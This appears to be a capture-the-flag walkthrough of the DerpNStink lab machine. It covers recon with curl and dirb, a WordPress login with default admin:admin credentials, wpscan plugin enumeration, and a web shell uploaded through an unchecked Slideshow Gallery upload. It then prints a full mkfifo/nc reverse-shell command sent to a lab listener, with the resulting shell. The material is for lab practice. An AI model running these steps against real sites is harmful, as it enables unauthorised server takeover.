User-agent: *
Disallow: /php/
Disallow: /temporary/Let's take a look at the source of http://192.168.56.101/
Two things popped up
root@kali:/mnt/VM_Transfer/Pentesting/DerpNStink# curl -s http://192.168.56.101 |grep flag
<--flag1(52E37291AEDF6A46D7D0BB8A6312F4F9F1AA4975C248C3F0E008CBA09D6E9166) -->And
<script type="text/info" src="/webnotes/info.txt"></script>/temporary/ tells me to "try harder!"
/php/ returns 403 Forbidden
Digging deeper with "dirb"

....Let's check out that WordPress install
root@kali:/mnt/VM_Transfer/Pentesting/DerpNStink# curl -L http://192.168.56.101/weblog
curl: (6) Could not resolve host: derpnstink.localOk! Let's update /etc/hosts and try again.
Now WP site loads w/out issues. Before exploring further we try a few simple credential combinations and what do you know - admin:admin lets us in!
Not going to post any screenshots of WP internals as that's a pretty common sight these day.
Let's see what we can do now that we're in. Looks out that plugin upload is disabled but let's see what we can do with what we have installed already
root@kali:/mnt/VM_Transfer/Pentesting/DerpNStink# wpscan --enumerate vp --url http://192.168.56.101/weblog/ |grep "[!]"

Looks like Slideshow Gallery allows for unchecked uploads. Trying WordPress Plugin - shell.php (variant 1).
Quick test... Works!!!
root@kali:~/Desktop/DerpNStink# curl http://derpnstink.local/weblog/wp-content/uploads/slideshow-gallery/shell.php?cmd=hostname
DeRPnStiNKNow let's do something more exciting - spinning a reverse shell!!!
First start a local listener.
kali@root $ nc -lt -p 4444Then execute a remote command to connect to our listener. There are many different ways to do this, depending on what's allowed on the remote host. I'll do a nice write up on that soon but for now let's just use a simple 'sh' based, a method which proven to work for me 99% of the time.
kali@root $ curl -G "http://derpnstink.local/weblog/wp-content/uploads/slideshow-gallery/shell.php" --data-urlencode "cmd=rm -f /tmp/backpipe; mkfifo /tmp/backpipe; cat /tmp/backpipe | /bin/sh -i 2>&1|nc 192.168.56.203 4444 >/tmp/backpipe"And we have a "$"!
kali@root $ nc -lt -p 4444
$ pwd
/var/www/html/weblog/wp-content/uploads/slideshow-gallery
$ hostname
